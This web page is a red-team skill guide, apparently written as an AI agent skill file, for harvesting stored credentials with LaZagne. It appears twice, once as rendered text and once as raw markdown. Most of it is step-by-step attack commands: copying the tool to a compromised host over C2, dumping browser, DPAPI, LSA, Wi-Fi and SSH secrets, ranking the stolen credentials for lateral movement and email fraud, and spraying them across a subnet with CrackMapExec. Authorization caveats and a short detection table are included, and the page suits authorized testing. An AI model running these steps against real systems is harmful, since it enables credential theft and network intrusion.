Performing Credential Access with LaZagne
Overview
LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.
When to Use
Trigger phrases:
"performing credential access with lazagne"
"Extract stored credentials from compromised endpoints using the LaZagne post-exp"
When conducting security assessments that involve performing credential access with lazagne
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
- Extract credentials from all supported password stores
- Parse and prioritize recovered credentials for lateral movement
- Identify high-value credentials (domain admin, service accounts, cloud access)
- Document credential harvesting results with appropriate evidence handling
- Correlate recovered credentials with BloodHound attack paths
MITRE ATT&CK Mapping
- T1555 - Credentials from Password Stores
- T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
- T1555.004 - Credentials from Password Stores: Windows Credential Manager
- T1552.001 - Unsecured Credentials: Credentials In Files
- T1552.002 - Unsecured Credentials: Credentials in Registry
- T1003.004 - OS Credential Dumping: LSA Secrets
- T1539 - Steal Web Session Cookie
Workflow
- Scope and authorize — confirm written authorization and define target boundaries
- Reconnaissance — enumerate targets, services, and potential attack surfaces
- Exploitation — attempt exploitation of identified vulnerabilities within scope
- Post-exploitation — document access level, lateral movement, and data exposure
- Report and remediate — compile findings with reproduction steps and fix recommendations
Phase 1: LaZagne Deployment
- Transfer LaZagne to the compromised host:
# Pre-compiled executable (Windows)
# Transfer lazagne.exe via C2 channel or file upload
# Python version (requires Python on target)
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne
pip install -r requirements.txt
- Verify execution capability and privileges:
# Check current user context
whoami /priv
# LaZagne works with standard user privileges for user-level stores
# SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
Phase 2: Full Credential Extraction (Windows)
- Run LaZagne with all modules:
# Extract all credentials
lazagne.exe all
# Export results to JSON
lazagne.exe all -oJ
# Export results to specific file
lazagne.exe all -oJ -output C:\Temp\creds
- Run specific modules for targeted extraction:
# Browsers only (Chrome, Firefox, Edge, Opera, IE)
lazagne.exe browsers
# Windows credential stores
lazagne.exe windows
# Database credentials
lazagne.exe databases
# Email client credentials
lazagne.exe mails
# Wi-Fi passwords
lazagne.exe wifi
# Git credentials
lazagne.exe git
# System credentials (requires elevated privileges)
lazagne.exe sysadmin
Phase 3: Credential Extraction (Linux)
- Run LaZagne on Linux targets:
# Full extraction
python3 laZagne.py all
# Browser credentials
python3 laZagne.py browsers
# System credentials (SSH keys, shadow file with root)
python3 laZagne.py sysadmin
# Database credentials
python3 laZagne.py databases
# Git credentials
python3 laZagne.py git
Phase 4: Credential Analysis and Prioritization
- Parse JSON output for unique credentials:
import json
with open("creds.json") as f:
results = json.load(f)
for module in results:
for entry in module.get("results", []):
print(f"Source: {entry.get('Category')}")
print(f" User: {entry.get('Login', 'N/A')}")
print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
- Prioritize credentials by value:
- Domain credentials (AD accounts) for lateral movement
- Cloud service credentials (AWS, Azure, GCP console)
- VPN and remote access credentials
- Database credentials for data access
- Email credentials for business email compromise
- Service account credentials for privilege escalation
Phase 5: Credential Validation and Use
- Validate recovered domain credentials:
# Test domain credentials with CrackMapExec
crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
# Test with Impacket
smbclient.py domain.local/user:'password'@10.10.10.1
- Cross-reference with BloodHound paths for high-value targets
- Use recovered credentials for lateral movement or privilege escalation
When NOT to Use
- You don't have explicit written authorization to test
- Task is about defense/detection, not offense (use detection skills)
- You need to implement security controls (use implementing-* skills)
- Task requires compliance auditing (use auditing-* skills)
- You're investigating an incident (use incident response skills)
- Target is out of scope for your engagement
- Task is about vulnerability scanning only (use scanning tools)
Red Flags
- Performing actions without explicit written authorization from the asset owner
- Testing against production systems without a defined scope and rules of engagement
- Exceeding the authorized scope of the engagement
- Leaving persistent access mechanisms without explicit approval
- Causing denial-of-service on production systems during testing
Verification
- All steps executed successfully against a test environment before production use
- Output documented with screenshots or logs demonstrating expected behavior
- All exploited vulnerabilities documented with reproduction steps
- Scope boundaries confirmed — only authorized targets were tested
- Remediation recommendations included for every finding
Tools and Resources
| Tool |
Purpose |
Platform |
| LaZagne |
Multi-source credential extraction |
Windows/Linux/macOS |
| Mimikatz |
LSASS/DPAPI credential dumping |
Windows |
| SharpChrome |
Chrome credential extraction (.NET) |
Windows |
| SharpDPAPI |
DPAPI credential decryption |
Windows |
| CrackMapExec |
Credential validation and spraying |
Linux |
| Impacket |
Remote credential testing |
Linux (Python) |
LaZagne Module Coverage (Windows)
| Category |
Modules |
| Browsers |
Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |
| Email |
Outlook, Thunderbird, Foxmail |
| Databases |
PostgreSQL, MySQL, SQLiteDB, Robomongo |
| Sysadmin |
PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |
| Windows |
Credential Manager, Vault, DPAPI, Autologon |
| WiFi |
Stored Wi-Fi passwords |
| Git |
Git Credential Store, Git Credential Manager |
| SVN |
TortoiseSVN |
| Chat |
Pidgin, Skype |
Detection Signatures
| Indicator |
Detection Method |
| LaZagne.exe process execution |
EDR process monitoring with hash-based detection |
| Access to Chrome Login Data SQLite DB |
File access monitoring on browser credential stores |
| DPAPI CryptUnprotectData API calls |
API hooking and ETW tracing |
| Access to Windows Credential Manager |
Event 5379 (Credential Manager read) |
| Mass credential store enumeration |
Behavioral analysis for sequential access patterns |
| Python interpreter accessing credential files |
Script block logging and file access auditing |
Validation Criteria
Process
- Analyze the task requirements
- Apply domain expertise
- Verify output quality
Anti-Rationalization Table
| Rationalization |
Reality |
| "We are too small to be targeted" |
Automated attacks target everyone. Size does not matter. |
| "Security slows us down" |
A breach slows you down 100x more. Build security in from the start. |
| "We will fix it after launch" |
Vulnerabilities in production are exploited within hours. Fix before deploy. |
1---2name: performing-credential-access-with-lazagne3description: Use when extract stored credentials from compromised endpoints using4 the LaZagne post-exploitation tool to recover passwords from browsers, databases,5 system vaults, and applications during authorized red team operations. Use when6 working with performing credential access with lazagne.7domain: cybersecurity8subdomain: red-teaming9tags:10- red-team11- credential-access12- lazagne13- post-exploitation14- password-recovery15- credential-dumping16- lateral-movement17version: '1.0'18author: oyi7719license: Apache-2.020d3fend_techniques:21- File Metadata Consistency Validation22- Content Format Conversion23- File Content Analysis24- Platform Hardening25- File Format Verification26nist_csf:27- ID.RA-0128- GV.OV-0229- DE.AE-0730category: cybersecurity31metadata:32 source: https://skillmd.com/skills/oyi77/performing-credential-access-with-lazagne33---3435# Performing Credential Access with LaZagne3637## Overview3839LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.404142## When to Use43**Trigger phrases:**44- "performing credential access with lazagne"45- "Extract stored credentials from compromised endpoints using the LaZagne post-exp"464748- When conducting security assessments that involve performing credential access with lazagne49- When following incident response procedures for related security events50- When performing scheduled security testing or auditing activities51- When validating security controls through hands-on testing5253## Prerequisites5455- Familiarity with red teaming concepts and tools56- Access to a test or lab environment for safe execution57- Python 3.8+ with required dependencies installed58- Appropriate authorization for any testing activities5960## Objectives6162- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints63- Extract credentials from all supported password stores64- Parse and prioritize recovered credentials for lateral movement65- Identify high-value credentials (domain admin, service accounts, cloud access)66- Document credential harvesting results with appropriate evidence handling67- Correlate recovered credentials with BloodHound attack paths6869## MITRE ATT&CK Mapping7071- **T1555** - Credentials from Password Stores72- **T1555.003** - Credentials from Password Stores: Credentials from Web Browsers73- **T1555.004** - Credentials from Password Stores: Windows Credential Manager74- **T1552.001** - Unsecured Credentials: Credentials In Files75- **T1552.002** - Unsecured Credentials: Credentials in Registry76- **T1003.004** - OS Credential Dumping: LSA Secrets77- **T1539** - Steal Web Session Cookie7879## Workflow80811. **Scope and authorize** — confirm written authorization and define target boundaries822. **Reconnaissance** — enumerate targets, services, and potential attack surfaces833. **Exploitation** — attempt exploitation of identified vulnerabilities within scope844. **Post-exploitation** — document access level, lateral movement, and data exposure855. **Report and remediate** — compile findings with reproduction steps and fix recommendations86### Phase 1: LaZagne Deployment871. Transfer LaZagne to the compromised host:88 ```powershell89 # Pre-compiled executable (Windows)90 # Transfer lazagne.exe via C2 channel or file upload9192 # Python version (requires Python on target)93 git clone https://github.com/AlessandroZ/LaZagne.git94 cd LaZagne95 pip install -r requirements.txt96 ```972. Verify execution capability and privileges:98 ```powershell99 # Check current user context100 whoami /priv101102 # LaZagne works with standard user privileges for user-level stores103 # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM104 ```105106### Phase 2: Full Credential Extraction (Windows)1071. Run LaZagne with all modules:108 ```powershell109 # Extract all credentials110 lazagne.exe all111112 # Export results to JSON113 lazagne.exe all -oJ114115 # Export results to specific file116 lazagne.exe all -oJ -output C:\Temp\creds117 ```1182. Run specific modules for targeted extraction:119 ```powershell120 # Browsers only (Chrome, Firefox, Edge, Opera, IE)121 lazagne.exe browsers122123 # Windows credential stores124 lazagne.exe windows125126 # Database credentials127 lazagne.exe databases128129 # Email client credentials130 lazagne.exe mails131132 # Wi-Fi passwords133 lazagne.exe wifi134135 # Git credentials136 lazagne.exe git137138 # System credentials (requires elevated privileges)139 lazagne.exe sysadmin140 ```141142### Phase 3: Credential Extraction (Linux)1431. Run LaZagne on Linux targets:144 ```bash145 # Full extraction146 python3 laZagne.py all147148 # Browser credentials149 python3 laZagne.py browsers150151 # System credentials (SSH keys, shadow file with root)152 python3 laZagne.py sysadmin153154 # Database credentials155 python3 laZagne.py databases156157 # Git credentials158 python3 laZagne.py git159 ```160161### Phase 4: Credential Analysis and Prioritization1621. Parse JSON output for unique credentials:163 ```164 import json165 with open("creds.json") as f:166 results = json.load(f)167 for module in results:168 for entry in module.get("results", []):169 print(f"Source: {entry.get('Category')}")170 print(f" User: {entry.get('Login', 'N/A')}")171 print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")172 ```1732. Prioritize credentials by value:174 - Domain credentials (AD accounts) for lateral movement175 - Cloud service credentials (AWS, Azure, GCP console)176 - VPN and remote access credentials177 - Database credentials for data access178 - Email credentials for business email compromise179 - Service account credentials for privilege escalation180181### Phase 5: Credential Validation and Use1821. Validate recovered domain credentials:183 ```bash184 # Test domain credentials with CrackMapExec185 crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'186187 # Test with Impacket188 smbclient.py domain.local/user:'password'@10.10.10.1189 ```1902. Cross-reference with BloodHound paths for high-value targets1913. Use recovered credentials for lateral movement or privilege escalation192193## When NOT to Use194195- You don't have explicit written authorization to test196- Task is about defense/detection, not offense (use detection skills)197- You need to implement security controls (use implementing-* skills)198- Task requires compliance auditing (use auditing-* skills)199- You're investigating an incident (use incident response skills)200- Target is out of scope for your engagement201- Task is about vulnerability scanning only (use scanning tools)202203204## Red Flags205206- Performing actions without explicit written authorization from the asset owner207- Testing against production systems without a defined scope and rules of engagement208- Exceeding the authorized scope of the engagement209- Leaving persistent access mechanisms without explicit approval210- Causing denial-of-service on production systems during testing211212## Verification213214- All steps executed successfully against a test environment before production use215- Output documented with screenshots or logs demonstrating expected behavior216- All exploited vulnerabilities documented with reproduction steps217- Scope boundaries confirmed — only authorized targets were tested218- Remediation recommendations included for every finding219220## Tools and Resources221222| Tool | Purpose | Platform |223|------|---------|----------|224| LaZagne | Multi-source credential extraction | Windows/Linux/macOS |225| Mimikatz | LSASS/DPAPI credential dumping | Windows |226| SharpChrome | Chrome credential extraction (.NET) | Windows |227| SharpDPAPI | DPAPI credential decryption | Windows |228| CrackMapExec | Credential validation and spraying | Linux |229| Impacket | Remote credential testing | Linux (Python) |230231## LaZagne Module Coverage (Windows)232233| Category | Modules |234|----------|---------|235| Browsers | Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |236| Email | Outlook, Thunderbird, Foxmail |237| Databases | PostgreSQL, MySQL, SQLiteDB, Robomongo |238| Sysadmin | PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |239| Windows | Credential Manager, Vault, DPAPI, Autologon |240| WiFi | Stored Wi-Fi passwords |241| Git | Git Credential Store, Git Credential Manager |242| SVN | TortoiseSVN |243| Chat | Pidgin, Skype |244245## Detection Signatures246247| Indicator | Detection Method |248|-----------|-----------------|249| LaZagne.exe process execution | EDR process monitoring with hash-based detection |250| Access to Chrome Login Data SQLite DB | File access monitoring on browser credential stores |251| DPAPI CryptUnprotectData API calls | API hooking and ETW tracing |252| Access to Windows Credential Manager | Event 5379 (Credential Manager read) |253| Mass credential store enumeration | Behavioral analysis for sequential access patterns |254| Python interpreter accessing credential files | Script block logging and file access auditing |255256## Validation Criteria257258- [ ] LaZagne deployed on compromised endpoint259- [ ] Full credential extraction completed (all modules)260- [ ] Credentials exported in JSON format for analysis261- [ ] Recovered credentials parsed and deduplicated262- [ ] High-value credentials identified and prioritized263- [ ] Domain credentials validated against AD264- [ ] Lateral movement opportunities identified from recovered creds265- [ ] Evidence documented with appropriate handling procedures266267## Process2682691. Analyze the task requirements2702. Apply domain expertise2713. Verify output quality272273## Anti-Rationalization Table274275| Rationalization | Reality |276|---|---|277| "We are too small to be targeted" | Automated attacks target everyone. Size does not matter. |278| "Security slows us down" | A breach slows you down 100x more. Build security in from the start. |279| "We will fix it after launch" | Vulnerabilities in production are exploited within hours. Fix before deploy. |